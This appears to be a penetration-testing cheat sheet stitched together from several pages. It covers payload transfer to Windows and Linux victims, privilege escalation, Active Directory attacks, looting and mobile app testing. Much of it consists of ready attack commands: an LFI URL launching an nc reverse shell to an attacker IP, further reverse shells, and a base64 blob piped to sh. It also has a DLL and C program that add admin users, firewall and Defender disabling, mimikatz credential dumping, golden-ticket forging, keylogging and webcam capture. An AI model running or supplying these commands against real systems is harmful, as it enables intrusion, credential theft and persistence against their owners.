http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=nc.exe%20-e%20cmd.exe%2010.11.0.105%204444
Windows
# Bitsadmin
bitsadmin /transfer mydownloadjob /download /priority normal http:///xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
# certutil
certutil.exe -urlcache -split -f "http://10.11.1.111/Powerless.bat" Powerless.bat
# Powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.11.1.111/CLSID.list","C:\Users\Public\CLSID.list")
# FTP
# In reverse shell"
echo open 10.11.1.111 > ftp.txt)
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -v -n -s:ftp.txt
# SMB Server
# Attack machine
python /usr/share/doc/python-impacket/examples/smbserver.py Lab "/root/labs/public/10.11.1.111" -u usuario -p pass
python /usr/share/doc/python3-impacket/examples/smbserver.py Lab "/root/htb/169-resolute/smb"
# Or SMB service
# http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
vim /etc/samba/smb.conf
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
chmod -R 777 smb_path
chown -R nobody:nobody smb_path
service smbd restart
# Victim machine with reverse shell
# Download: copy \\10.11.1.111\Lab\wce.exe .
# Upload: copy wtf.jpg \\10.11.1.111\Lab
# VBScript
# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
# Execute
cscript wget.vbs http://10.11.1.111/file.exe file.exe
description: 'Privesc, lateral movements, looting...'
Post-exploitation
Linux
**Tools**
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
https://github.com/mbahadou/postenum/blob/master/postenum.sh
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64)
https://gtfobins.github.io/
# Spawning shell
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within vi)
:!bash
:set shell=/bin/bash:shell
(From within nmap)
!sh
# Access to more binaries
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Download files from attacker
wget http://10.11.1.111:8080/ -r; mv 10.11.1.111:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linpeas.sh postenum.sh pspy32 pspy64
# Enum scripts
./LinEnum.sh -t -k password -r LinEnum.txt
./postenum.sh
./linpeas.sh
./pspy
# Common writable directories
/tmp
/var/tmp
/dev/shm
# Add user to sudoers
useradd hacker
passwd hacker
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers
# sudo permissions
sudo -l -l
# Journalctl
If you can run as root, run in small window and !/bin/sh
# Crons
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
cat /etc/frontal
cat /etc/anacron
systemctl list-timers --all
# Common info
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts
# Users with login
grep -vE "nologin" /etc/passwd
# Network info
cat /proc/net/arp
cat /proc/net/fib_trie
# Filter out lines containing "0.0.0.0" or "127." from the fib_trie output
cat /proc/net/fib_trie | grep "|--" | egrep -v "0.0.0.0|127."
# Extracting IP addresses from /proc/net/tcp and printing them
awk '
function hextodec(str) {
ret = 0
for (i=1; i<=length(str); i++) {
ret = ret * 16 + (index("0123456789abcdef", tolower(substr(str, i, 1))) - 1)
}
return ret
}
function getIP(str) {
ret = ""
for (i = 1; i <= 8; i += 2) {
ret = hextodec(substr(str, i, 2)) "." ret
}
ret = substr(ret, 1, length(ret) - 1)
ret = ret ":" hextodec(substr(str, 10, 4))
return ret
}
NR > 1 {
if (NR == 2) print "Local - Remote"
local = getIP($2)
remote = getIP($3)
print local " - " remote
}' /proc/net/tcp
# Netstat without netstat 2
echo "YXdrICdmdW5jdGlvbiBoZXh0b2RlYyhzdHIscmV0LG4saSxrLGMpewogICAgcmV0ID0gMAogICAgbiA9IGxlbmd0aChzdHIpCiAgICBmb3IgKGkgPSAxOyBpIDw9IG47IGkrKykgewogICAgICAgIGMgPSB0b2xvd2VyKHN1YnN0cihzdHIsIGksIDEpKQogICAgICAgIGsgPSBpbmRleCgiMTIzNDU2Nzg5YWJjZGVmIiwgYykKICAgICAgICByZXQgPSByZXQgKiAxNiArIGsKICAgIH0KICAgIHJldHVybiByZXQKfQpmdW5jdGlvbiBnZXRJUChzdHIscmV0KXsKICAgIHJldD1oZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpLTIsMikpOyAKICAgIGZvciAoaT01OyBpPjA7IGktPTIpIHsKICAgICAgICByZXQgPSByZXQiLiJoZXh0b2RlYyhzdWJzdHIoc3RyLGksMikpCiAgICB9CiAgICByZXQgPSByZXQiOiJoZXh0b2RlYyhzdWJzdHIoc3RyLGluZGV4KHN0ciwiOiIpKzEsNCkpCiAgICByZXR1cm4gcmV0Cn0gCk5SID4gMSB7e2lmKE5SPT0yKXByaW50ICJMb2NhbCAtIFJlbW90ZSI7bG9jYWw9Z2V0SVAoJDIpO3JlbW90ZT1nZXRJUCgkMyl9e3ByaW50IGxvY2FsIiAtICJyZW1vdGV9fScgL3Byb2MvbmV0L3RjcCAKqtc" | base64 -d | sh
# Nmap without nmap
for ip in {1..5}; do for port in {21,22,5000,8000,3306}; do (echo >/dev/tcp/172.18.0.$ip/$port) >& /dev/null && echo "172.18.0.$ip port $port is open"; done; done
# Open ports without netstat
grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'
# Check ssh files:
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
# SUID
find / -perm -4000 -type f 2>/dev/null
# ALL PERMS
find / -perm -777 -type f 2>/dev/null
# SUID for current user
find / perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
# Writables for current user/group
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
# Dirs with +w perms for current u/g
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null
# Port Forwarding
# Chisel
# Victim server:
chisel server --auth "test:123" -p 443 --reverse
# In host attacker machine:
./chisel client --auth "test:123" 10.10.10.10:443 R:socks
# Dynamic Port Forwarding:
# Attacker machine:
ssh -D 9050 user@host
# Attacker machine Burp Proxy - SOCKS Proxy:
Mark “Override User Options”
Mark Use Socks Proxy:
SOCKS host:127.0.0.1
SOCKS port:9050
# Tunneling
Target must have SSH running for there service
1. Create SSH Tunnel: ssh -D localhost: -f -N user@localhost -p
2. Setup ProxyChains. Edit the following config file (/etc/proxychains.conf)
3. Add the following line into the config: Socks5 127.0.0.1
4. Run commands through the tunnel: proxychains
# SShuttle
# https://github.com/sshuttle/sshuttle
sshuttle -r root@172.21.0.0 10.2.2.0/24
# netsh port forwarding
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=9000 connectaddress=192.168.0.10 connectport=80
netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=9000
Windows
**Tools**
https://github.com/S3cur3Th1sSh1t/WinPwn
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat
https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/privesc/PowerUp.ps1
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
https://lolbas-project.github.io/#
# Basic info
systeminfo
set
hostname
net users
net user user1
net localgroups
accesschk.exe -uwcqv "Authenticated Users" *
netsh firewall show state
netsh firewall show config
whoami /priv
# Set path
set PATH=%PATH%;C:\xampp\php
dir /a -> Show hidden & unhidden files
dir /Q -> Show permissions
# check .net version:
gci 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | gp -name Version -EA 0 | where { $_.PSChildName -match '^(?!S)\p{L}'} | select PSChildName, Version
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Users Path"
# Passwords
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
python secretsdump.py -just-dc-ntlm htb.hostname/username@10.10.1.10
secretsdump.py -just-dc htb.hostname/username@10.10.1.10 > dump.txt
# Add RDP user and disable firewall
net user haxxor Haxxor123 /add
net localgroup Administrators haxxor /add
net localgroup "Remote Desktop Users" haxxor /ADD
# Turn firewall off and enable RDP
sc stop WinDefend
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# Dump Firefox data
# Looking for Firefox
Get-Process
./procdump64.exe -ma $PID-FF
Select-String -Path .\*.dmp -Pattern 'password' > 1.txt
type 1.txt | findstr /s /i "admin"
# PS Bypass Policy
Set-ExecutionPolicy Unrestricted
powershell.exe -exec bypass
Set-ExecutionPolicy-ExecutionPolicyBypass -Scope Procesy
# Convert passwords to secure strings and output to an XML file:
$secpasswd = ConvertTo-SecureString "VMware1!" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("administrator", $secpasswd)
$mycreds | export-clixml -path c:\temp\password.xml
# PS sudo
$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}'
powershell -ExecutionPolicy -F -File xyz.ps1
# PS runas
# START PROCESS
$username='someUser'
$password='somePassword'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process .\nc.exe -ArgumentList '10.10.xx.xx 4445 -e cmd.exe' -Credential $credential
# INVOKE COMMAND
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force; $Credential = New-Object System.Management.Automation.PSCredential ("fidelity\hector", $pass);Invoke-Command -Computer 'Fidelity' -ScriptBlock {C:\inetpub\wwwroot\uploads\nc.exe -e cmd 10.10.15.121 443} -credential $Credential
# Tasks
schtasks /query /fo LIST /v
file c:\WINDOWS\SchedLgU.Txt
python3 atexec.py Domain/Administrator:<Password>@123@172.21.0.0 systeminfo
# Useradd bin
#include /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net user /add && net localgroup administrators /add");
return 0;
}
# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c
# WinXP
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.1.111 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
# WinRM Port Forwarding
plink -l LOCALUSER -pw LOCALPASSWORD LOCALIP -R 5985:127.0.0.1:5985 -P 221
# DLL Injection
#include
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
# x64 compilation:
x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
# NTLM Relay Attack
We need two tools to perform the attack, privexchange.py and ntlmrelayx. You can get both on GitHub in the PrivExchange and impacket repositories. Start ntlmrelayx in relay mode with LDAP on a Domain Controller as target, and supply a user under the attackers control to escalate privileges with (in this case the ntu user):
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu
Now we run the privexchange.py script:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.
When this is run with a user which doesn’t have a mailbox, we will get the above error. Let’s try it again with a user which does have a mailbox associated:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
After a minute (which is the value supplied for the push notification) we see the connection coming in at ntlmrelayx, which gives our user DCSync privileges:
We confirm the DCSync rights are in place with secretsdump:
With all the hashed password of all Active Directory users, the attacker can create golden tickets to impersonate any user, or use any users password hash to authenticate to any service accepting NTLM or Kerberos authentication in the domain.
# Generate Silver Tickets with Impacket:
python3 ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
python3 ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Generate Golden Tickets:
python3 ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
python3 ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# Credential Access with Secretsdump
impacket-secretsdump username@target-ip -dc-ip target-ip
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/?view=powershell-6
https://powersploit.readthedocs.io/en/latest/
https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
https://techcommunity.microsoft.com/t5/itops-talk-blog/powershell-basics-how-to-scan-open-ports-within-a-network/ba-p/924149
https://pen-testing.sans.org/blog/2017/03/08/pen-test-poster-white-board-powershell-built-in-port-scanner/
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Portscan/
AD
# Anonymous Credential LDAP Dumping:
ldapsearch -LLL -x -H ldap:// -b ‘’ -s base ‘(objectclass=*)’
# Impacket GetADUsers.py (Must have valid credentials)
GetADUsers.py -all -dc-ip
# Impacket lookupsid.py
/usr/share/doc/python3-impacket/examples/lookupsid.py username:password@172.21.0.0
# Windapsearch:
# https://github.com/ropnop/windapsearch
python3 windapsearch.py -d host.domain -u domain\\ldapbind -p PASSWORD -U
# CME
cme smb IP -u '' -p '' --users --shares
# References:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#most-common-paths-to-ad-compromise
https://github.com/infosecn1nja/AD-Attack-Defense
https://adsecurity.org/?page_id=1821
https://github.com/sense-of-security/ADRecon
https://adsecurity.org/?p=15
https://adsecurity.org/?cat=7
https://adsecurity.org/?page_id=4031
https://www.fuzzysecurity.com/tutorials/16.html
https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
https://adsecurity.org/?p=1588
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://www.harmj0y.net/blog/tag/powerview/
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
# BloodHound
# https://github.com/BloodHoundAD/BloodHound/releases
# https://github.com/BloodHoundAD/SharpHound3
# https://github.com/chryzsh/DarthSidious/blob/master/enumeration/bloodhound.md
Import-Module .\sharphound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -domain target-domain -LDAPUser username -LDAPPass password
# Rubeus
# https://github.com/GhostPack/Rubeus
## ASREProasting:
Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
## Kerberoasting:
Rubeus.exe kerberoast /outfile:<output_TGSs_file>
Rubeus.exe kerberoast /outfile:hashes.txt [/spn:"SID-VALUE"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
## Pass the key (PTK):
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Using the ticket on a Windows target:
Rubeus.exe ptt /ticket:<ticket_kirbi_file>
Looting
Linux
# Linux
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
ifconfig
ifconfig -a
arp -a
tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 10.11.1.111 and dst not 10.11.1.111
tcpdump -vv -i eth0 src not 10.11.1.111 and dst not 10.11.1.111
.bash_history
/var/mail
/var/spool/mail
echo $DESKTOP_SESSION
echo $XDG_CURRENT_DESKTOP
echo $GDMSESSION
Windows
hostname && whoami.exe && type proof.txt && ipconfig /all
wce32.exe -w
wce64.exe -w
fgdump.exe
# Loot passwords without tools
reg.exe save hklm\sam c:\sam_backup
reg.exe save hklm\security c:\security_backup
reg.exe save hklm\system c:\system
ipconfig /all
route print
# What other machines have been connected
arp -a
# Meterpreter
run packetrecorder -li
run packetrecorder -i 1
#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql
hashdump
keysscan_start
keyscan_dump
keyscan_stop
webcam_snap
load mimikatz
msv
# How to cat files in meterpreter
cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt
# Recursive search
dir /s
secretsdump.py -just-dc htb.hostname/username@10.10.1.10 > dump.txt
.\mimikatz.exe "lsadump::dcsync /user:Administrator" "exit"
# Mimikatz
# Post exploitation commands must be executed from SYSTEM level privileges.
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
mimikatz # sekurlsa::logonpasswords
## Pass The Hash
mimikatz # sekurlsa::pth /user:username /domain:domain.tld /ntlm:ntlm_hash
# Inject generated TGS key
mimikatz # kerberos::ptt <ticket_kirbi_file>
# Generating a silver ticket
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# AES 128 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Generating a Golden Ticket
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# AES 128 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# NTLM:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
description: 'You know, that mini pc that you carry with you all the time'
Mobile
General
MobSF
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Burp
Add proxy in Mobile WIFI settings connected to Windows Host Wifi pointing to 192.168.X.1:8080
Vbox Settings Machine -> Network -> Port Forwarding -> 8080
Burp Proxy -> Options -> Listen all interfaces
Tools
https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet
https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security
Android
# Adb
# https://developer.android.com/studio/command-line/adb?hl=es-419
adb connect IP:PORT/ID
adb devices
adb shell
adb push
adb install
# Frida
# https://github.com/frida/frida/releases
adb root
adb push /root/Downloads/frida-server-12.7.24-android-arm /data/local/tmp/. # Linux
adb push C:\Users\username\Downloads\frida-server-12.8.11-android-arm /data/local/tmp/. # Windows
adb root
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
frida-ps -U # Check frida running correctly
# Run Frida script
frida -U -f com.vendor.app.version -l PATH\fridaScript.js --no-pause
# Frida resources
https://codeshare.frida.re/
https://github.com/dweinstein/awesome-frida
# Objection
# https://github.com/sensepost/objection
objection --gadget com.vendor.app.xx explore
# Install burp CA in Android API >= 24 (Nougat 7.0)
1. Export only certificate in burp as DER format
2. openssl x509 -inform DER -in cacert.der -out cacert.pem # Convert from DER to PEM
3. openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1 # Get subject_hash_old
4. mv cacert.pem [SUBJECT-HASH-OLD].0 # Rename PEM file with subject_hash_old
5. adb push [SUBJECT-HASH-OLD].0 /storage/emulated/0/ # Push to device
6. adb shell
6.1 If you get error "Read-only file system": mount -o rw,remount /system
7. mv /storage/emulated/0/[SUBJECT-HASH-OLD].0 /system/etc/security/cacerts/
8. chmod 644 /system/etc/security/cacerts/[SUBJECT-HASH-OLD].0
9. Reboot the device
# Analyze URLs in apk:
# https://github.com/shivsahni/APKEnum
python APKEnum.py -p ~/Downloads/app-debug.apk
# AndroPyTool:
# https://github.com/alexMyG/AndroPyTool
docker pull alexmyg/andropytool
docker run --volume=:/apks alexmyg/andropytool -s /apks/ -all
# Android Backup files (*.ab files)
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 backup.ab ) | tar xfvz -
# https://github.com/viperbluff/Firebase-Extractor
# https://github.com/Turr0n/firebase
python3 firebase.py -p 4 --dnsdumpster -l file
# Jadx - decompiler
jadx-gui
# androwarn.py
# pip3 install androwarn
androwarn /root/android.apk -v 3 -r html
# androbugs.py
python androbugs.py -f /root/android.apk
# Userful apps:
# Xposed Framework
# RootCloak
# SSLUnpinning
# Check Info Stored
find /data/app -type f -exec grep --color -Hsiran "FINDTHIS" {} \;
/data/data/com.app/database/keyvalue.db
/data/data/com.app/database/sqlite
/data/app/
/data/user/0/
/storage/emulated/0/Android/data/
/storage/emulated/0/Android/obb/
/assets
/res/raw
# Check logs during app usage
https://github.com/JakeWharton/pidcat
# Download apks
https://apkpure.com
Recon:
- AndroidManifest.xml (basically a blueprint for the application)
Find exported components, api keys, custom deep link schemas, schema endpoints etc.
- resources.arsc/strings.xml
Developers are encouraged to store strings in this file instead of hard coding in application.
- res/xml/file_paths.xml
Shows file save paths.
- Search source code recursively
Especially BuildConfig files.
- Look for firebase DB:
Decompiled apk: Resources/resources.arsc/res/values/strings.xml, search for "firebsae.io" and try to access:
https://*.firebase.io/.json
API Keys:
- String references in Android Classes
getString(R.string.cmVzb3VyY2VzX3lv)
cmVzb3VyY2VzX3lv is the string resource label.
- Find these string references in strings.xml
apikeyhere
- Piece together the domains and required params in source code
Exported components:
- Activities - Entry points for application interactions of components specified in AndroidManifest.xml.
Has several states managed by callbacks such as onCreate().
→ Access to protected intents via exported Activities
One exported activity that accepts a user provided intent can expose protected intents.
→ Access to sensitive data via exported Activity
Often combined with deep links to steal data via unvalidated parameters. Write session tokens to an
external file.
→ Access to sensitive files, stealing files, replacing imported files via exported Activities
external-files-path, external-path
Public app directories
- Service - Supplies additional functionality in the background.
→ Custom file upload service example that is vulnerable because android:exported="true". When exported by third party
applications can send data to the service or steal sensitive data from applications depending on the services function. Check if params and intent data can be set with proof of concept application.
- Broadcast receivers - Receives broadcasts from events of interest. Usually specified broadcasted intents in the broadcast receiver activity.
→ Vulnerable when receiver is exported and accepts user provided broadcasts.
- Content providers - Helps applications manage access to stored data and ways to share data with other Android applications
→ Content providers that connect to sqlite can be exploited via SQL injection by third party apps.
Deep links
- In Android, a deep link is a link that takes you directly to a specific destination within an app.
- Think of deep links as Android urls to specific parts of the application.
- Usually mirrors web application except with a different schema that navigate directory to specific Android activities.
- Verified deep links can only use http and https schemas. Sometimes developers keep custom schemas for testing new
features.
- Type of vulnerabilities are based on how the scheme://, host://, and parameters are validated
→ CSRF - Test when autoVerify=”true” is not present in AndroidManifest.xml It’s easier.
→ Open redirect - Test when custom schemes do not verify endpoint parameters or hosts
→ XSS - Test when endpoint parameters or host not validated, addJavaScriptInterface and
→ setJavascriptEnabled(true); is used.
→ LFI - Test when deep link parameters aren’t validated. appschema://app/goto?file=
iOS
# All about Jailbreak & iOS versions
https://www.theiphonewiki.com/wiki/Jailbreak
# Jailbreak for iPhone 5s though iPhone X, iOS 12.3 and up
# https://checkra.in/
checkra1n
# 3UTools
http://www.3u.com/
# Cydia
# Liberty Bypass Antiroot
# Check Info Stored:
3U TOOLS - SSH Tunnel
find /data/app -type f -exec grep --color -Hsiran "FINDTHIS" {} \;
find /data/app -type f -exec grep --color -Hsiran "\"value\":\"" {} \;
.pslist= "value":"base64"}
find APPPATH -iname "*localstorage-wal" -> Mirar a mano
/private/var/mobile/Containers/Data/Application/{HASH}/{BundleID-3uTools-getBundelID}
/private/var/containers/Bundle/Application/{HASH}/{Nombre que hay dentro del IPA/Payloads}
/var/containers/Bundle/Application/{HASH}
/var/mobile/Containers/Data/Application/{HASH}
# IDB
https://github.com/dmayer/idb
Perfect way for Mobile App Testing
1. Static Mobile App Testing
.apk Website/ https://mobexler.com/ (MobSF)
2. (Impact on Mobile) Genny Motion + Santoku
a. Logcat
b. Shared preferences
c. Sqlite database
3. Mobile with BurpSuite
4. Client Side (GUI based Testing)
Credit:
https://mobexler.com/checklist.htm#an...
https://github.com/MobSF/Mobile-Secur...
https://www.genymotion.com/download/
https://www.virtualbox.org/
http://demo.testfire.net/
description: Information gathering from passive and active methods
Recon
Passive/Public info gathering
# Resource
https://osintframework.com/
# Websites
rapiddns.io
dnsdumpster.com
hunter.io
pentest-tools.com
viewdns.info
# spiderfoot
spiderfoot -s domain.com
#DMARC email spoofing
# https://github.com/BishopFox/spoofcheck
python2 spoofcheck.py domain.com
# theHarvester
theHarvester -d domain.com -b all
# recon-ng
recon-ng
# Check Wayback machine
# https://github.com/tomnomnom/waybackurls
go get github.com/tomnomnom/waybackurls
https://gist.githubusercontent.com/mhmdiaa/adf6bff70142e5091792841d4b372050/raw/56366e6f58f98a1788dfec31c68f77b04513519d/waybackurls.py
https://gist.githubusercontent.com/mhmdiaa/2742c5e147d49a804b408bfed3d32d07/raw/5dd007667a5b5400521761df931098220c387551/waybackrobots.py
# Google Dorks
site:target.com -www
